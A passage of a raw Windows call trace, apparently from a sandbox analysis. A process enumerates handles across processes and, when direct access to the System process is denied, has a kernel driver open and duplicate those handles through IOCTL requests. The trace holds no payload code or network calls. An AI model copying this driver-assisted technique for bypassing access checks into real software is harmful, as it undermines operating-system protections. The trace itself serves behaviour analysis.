(Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.947] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.947] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x370) returned 0xc0 [0134.947] GetCurrentProcess () returned 0xffffffffffffffff [0134.947] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x95c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc8) returned 1 [0134.947] CloseHandle (hObject=0xc0) returned 1 [0134.948] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0134.948] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x70) returned 0x354c50 [0134.948] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x354c50, ObjectInformationLength=0x70, ReturnLength=0x0 | out: ObjectInformation=0x354c50, ReturnLength=0x0) returned 0x0 [0134.948] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x354c50 | out: hHeap=0x330000) returned 1 [0134.948] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.948] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x64, lpOverlapped=0x0) returned 1 [0134.948] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.948] PsAcquireProcessExitSynchronization () returned 0x0 [0134.948] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0134.948] ObReferenceObjectByHandle (in: Handle=0x95c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002faa730, HandleInformation=0x0) returned 0x0 [0134.948] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.948] PsReleaseProcessExitSynchronization () returned 0x2 [0134.948] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0134.948] ObQueryNameString (in: Object=0xfffffa8002faa730, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0134.948] ObfDereferenceObject (Object=0xfffffa8002faa730) returned 0x5 [0134.948] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.948] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.948] CloseHandle (hObject=0xc8) returned 1 [0134.948] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x338) returned 0xc8 [0134.948] GetCurrentProcess () returned 0xffffffffffffffff [0134.948] DuplicateHandle (in: hSourceProcessHandle=0xc8, hSourceHandle=0x320, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0134.948] CloseHandle (hObject=0xc8) returned 1 [0134.948] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0134.948] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x354820 [0134.948] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x354820, ObjectInformationLength=0x90, ReturnLength=0x0 | out: ObjectInformation=0x354820, ReturnLength=0x0) returned 0x0 [0134.948] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x354820 | out: hHeap=0x330000) returned 1 [0134.948] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.948] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0134.948] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.948] PsAcquireProcessExitSynchronization () returned 0x0 [0134.948] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054735d0) [0134.949] ObReferenceObjectByHandle (in: Handle=0x320, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80031a5c70, HandleInformation=0x0) returned 0x0 [0134.949] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.949] PsReleaseProcessExitSynchronization () returned 0x2 [0134.949] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xce [0134.949] ObQueryNameString (in: Object=0xfffffa80031a5c70, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473550) returned 0x0 [0134.949] ObfDereferenceObject (Object=0xfffffa80031a5c70) returned 0x2 [0134.949] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.949] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.949] CloseHandle (hObject=0xc0) returned 1 [0134.949] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x1e8) returned 0xc0 [0134.949] GetCurrentProcess () returned 0xffffffffffffffff [0134.949] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x170, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc8) returned 1 [0134.949] CloseHandle (hObject=0xc0) returned 1 [0134.949] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0134.949] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x78) returned 0x354c50 [0134.949] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x354c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x354c50, ReturnLength=0x0) returned 0x0 [0134.949] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x354c50 | out: hHeap=0x330000) returned 1 [0134.949] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.949] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0134.949] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.949] PsAcquireProcessExitSynchronization () returned 0x0 [0134.949] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880054735d0) [0134.949] ObReferenceObjectByHandle (in: Handle=0x170, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800b6ae940, HandleInformation=0x0) returned 0x0 [0134.949] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.949] PsReleaseProcessExitSynchronization () returned 0x2 [0134.949] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3d [0134.949] ObQueryNameString (in: Object=0xfffffa800b6ae940, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473550) returned 0x0 [0134.949] ObfDereferenceObject (Object=0xfffffa800b6ae940) returned 0xc [0134.949] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.949] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.949] CloseHandle (hObject=0xc8) returned 1 [0134.950] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x184) returned 0xc8 [0134.950] GetCurrentProcess () returned 0xffffffffffffffff [0134.950] DuplicateHandle (in: hSourceProcessHandle=0xc8, hSourceHandle=0x38, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0134.950] CloseHandle (hObject=0xc8) returned 1 [0134.950] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0134.950] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x88) returned 0x36cb50 [0134.950] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x36cb50, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0x36cb50, ReturnLength=0x0) returned 0x0 [0134.950] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x36cb50 | out: hHeap=0x330000) returned 1 [0134.950] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.950] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x52, lpOverlapped=0x0) returned 1 [0134.950] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.950] PsAcquireProcessExitSynchronization () returned 0x0 [0134.950] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0134.950] ObReferenceObjectByHandle (in: Handle=0x38, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a004ab7080, HandleInformation=0x0) returned 0x0 [0134.950] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.950] PsReleaseProcessExitSynchronization () returned 0x2 [0134.950] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x131 [0134.950] ObQueryNameString (in: Object=0xfffff8a004ab7080, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005473550) returned 0x0 [0134.950] ObfDereferenceObject (Object=0xfffff8a004ab7080) returned 0x3 [0134.950] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.950] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.950] CloseHandle (hObject=0xc0) returned 1 [0134.950] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0134.950] GetLastError () returned 0x5 [0134.950] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335003c, lpInBuffer=0x12d400*, nInBufferSize=0x8, lpOutBuffer=0x12d408, nOutBufferSize=0x8, lpBytesReturned=0x12d390, lpOverlapped=0x0 | out: lpInBuffer=0x12d400*, lpOutBuffer=0x12d408*, lpBytesReturned=0x12d390*=0x8, lpOverlapped=0x0) returned 1 [0134.950] ZwOpenProcess (in: ProcessHandle=0xfffffa8002178280, DesiredAccess=0x10000000, ObjectAttributes=0xfffff88005473688*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88005473678*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xfffffa8002178280*=0xc0) returned 0x0 [0134.950] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.950] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350014, lpInBuffer=0x12d430*, nInBufferSize=0x20, lpOutBuffer=0x12d470, nOutBufferSize=0x8, lpBytesReturned=0x12d3d0, lpOverlapped=0x0 | out: lpInBuffer=0x12d430*, lpOutBuffer=0x12d470*, lpBytesReturned=0x12d3d0*=0x8, lpOverlapped=0x0) returned 1 [0134.950] ZwOpenProcess (in: ProcessHandle=0xfffff880054735f0, DesiredAccess=0x40, ObjectAttributes=0xfffff88005473608*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff880054735f8*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xfffff880054735f0*=0xffffffff8000095c) returned 0x0 [0134.950] ZwDuplicateObject (in: SourceProcessHandle=0xffffffff8000095c, SourceHandle=0x424, TargetProcessHandle=0xffffffffffffffff, TargetHandle=0xfffffa8002178280, DesiredAccess=0xfffff88010000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0xfffffa8002178280*=0xc8) returned 0x0 [0134.951] ZwClose (Handle=0xffffffff8000095c) returned 0x0 [0134.951] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.951] CloseHandle (hObject=0xc0) returned 1 [0134.951] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0134.951] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x78) returned 0x354c50 [0134.951] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x354c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x354c50, ReturnLength=0x0) returned 0x0 [0134.951] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x354c50 | out: hHeap=0x330000) returned 1 [0134.951] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.951] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0134.951] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.951] PsAcquireProcessExitSynchronization () returned 0x0 [0134.951] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.951] ObReferenceObjectByHandle (in: Handle=0xffffffff80000424, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80031f4990, HandleInformation=0x0) returned 0x0 [0134.951] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.951] PsReleaseProcessExitSynchronization () returned 0x2 [0134.951] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.951] ObQueryNameString (in: Object=0xfffffa80031f4990, ObjectNameInfo=0xfffffa8001fc3044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fc3044, ReturnLength=0xfffff88005473550) returned 0x0 [0134.951] ObfDereferenceObject (Object=0xfffffa80031f4990) returned 0x5 [0134.951] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.951] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.951] CloseHandle (hObject=0xc8) returned 1 [0134.951] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0134.951] GetLastError () returned 0x5 [0134.951] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335003c, lpInBuffer=0x12d400*, nInBufferSize=0x8, lpOutBuffer=0x12d408, nOutBufferSize=0x8, lpBytesReturned=0x12d390, lpOverlapped=0x0 | out: lpInBuffer=0x12d400*, lpOutBuffer=0x12d408*, lpBytesReturned=0x12d390*=0x8, lpOverlapped=0x0) returned 1 [0134.951] ZwOpenProcess (in: ProcessHandle=0xfffffa8002178280, DesiredAccess=0x10000000, ObjectAttributes=0xfffff88005473688*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88005473678*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xfffffa8002178280*=0xc8) returned 0x0 [0134.951] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.951] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350014, lpInBuffer=0x12d430*, nInBufferSize=0x20, lpOutBuffer=0x12d470, nOutBufferSize=0x8, lpBytesReturned=0x12d3d0, lpOverlapped=0x0 | out: lpInBuffer=0x12d430*, lpOutBuffer=0x12d470*, lpBytesReturned=0x12d3d0*=0x8, lpOverlapped=0x0) returned 1 [0134.952] ZwOpenProcess (in: ProcessHandle=0xfffff880054735f0, DesiredAccess=0x40, ObjectAttributes=0xfffff88005473608*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff880054735f8*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xfffff880054735f0*=0xffffffff8000095c) returned 0x0 [0134.952] ZwDuplicateObject (in: SourceProcessHandle=0xffffffff8000095c, SourceHandle=0x420, TargetProcessHandle=0xffffffffffffffff, TargetHandle=0xfffffa8002178280, DesiredAccess=0xfffff88010000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0xfffffa8002178280*=0xc0) returned 0x0 [0134.952] ZwClose (Handle=0xffffffff8000095c) returned 0x0 [0134.952] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.952] CloseHandle (hObject=0xc8) returned 1 [0134.952] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0134.952] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x78) returned 0x36eb50 [0134.952] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x36eb50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x36eb50, ReturnLength=0x0) returned 0x0 [0134.952] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x36eb50 | out: hHeap=0x330000) returned 1 [0134.952] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.952] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0134.952] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.952] PsAcquireProcessExitSynchronization () returned 0x0 [0134.952] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.952] ObReferenceObjectByHandle (in: Handle=0xffffffff80000420, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800dbffad0, HandleInformation=0x0) returned 0x0 [0134.952] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.952] PsReleaseProcessExitSynchronization () returned 0x2 [0134.952] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.952] ObQueryNameString (in: Object=0xfffffa800dbffad0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473550) returned 0x0 [0134.952] ObfDereferenceObject (Object=0xfffffa800dbffad0) returned 0x3 [0134.952] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.952] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.952] CloseHandle (hObject=0xc0) returned 1 [0134.952] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0134.952] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.952] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0134.952] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.952] PsAcquireProcessExitSynchronization () returned 0x0 [0134.952] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.953] ObReferenceObjectByHandle (in: Handle=0xffffffff8000004c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002af2460, HandleInformation=0x0) returned 0x0 [0134.953] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.953] PsReleaseProcessExitSynchronization () returned 0x2 [0134.953] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.953] ObQueryNameString (in: Object=0xfffffa8002af2460, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005473550) returned 0x0 [0134.953] ObfDereferenceObject (Object=0xfffffa8002af2460) returned 0x1 [0134.953] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.953] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.953] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.953] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0134.953] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.953] PsAcquireProcessExitSynchronization () returned 0x0 [0134.953] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.953] ObReferenceObjectByHandle (in: Handle=0xffffffff80000054, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002a567a0, HandleInformation=0x0) returned 0x0 [0134.953] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.953] PsReleaseProcessExitSynchronization () returned 0x2 [0134.953] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.953] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005473508) returned 0x0 [0134.953] ObfDereferenceObject (Object=0xfffffa8002a567a0) returned 0x1 [0134.953] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.953] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.953] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.953] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0134.953] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.953] PsAcquireProcessExitSynchronization () returned 0x0 [0134.953] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.953] ObReferenceObjectByHandle (in: Handle=0xffffffff80000060, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002c52f20, HandleInformation=0x0) returned 0x0 [0134.953] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.953] PsReleaseProcessExitSynchronization () returned 0x2 [0134.954] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.954] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005473508) returned 0x0 [0134.954] ObfDereferenceObject (Object=0xfffffa8002c52f20) returned 0x1 [0134.954] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.954] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.954] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.954] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0134.954] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.954] PsAcquireProcessExitSynchronization () returned 0x0 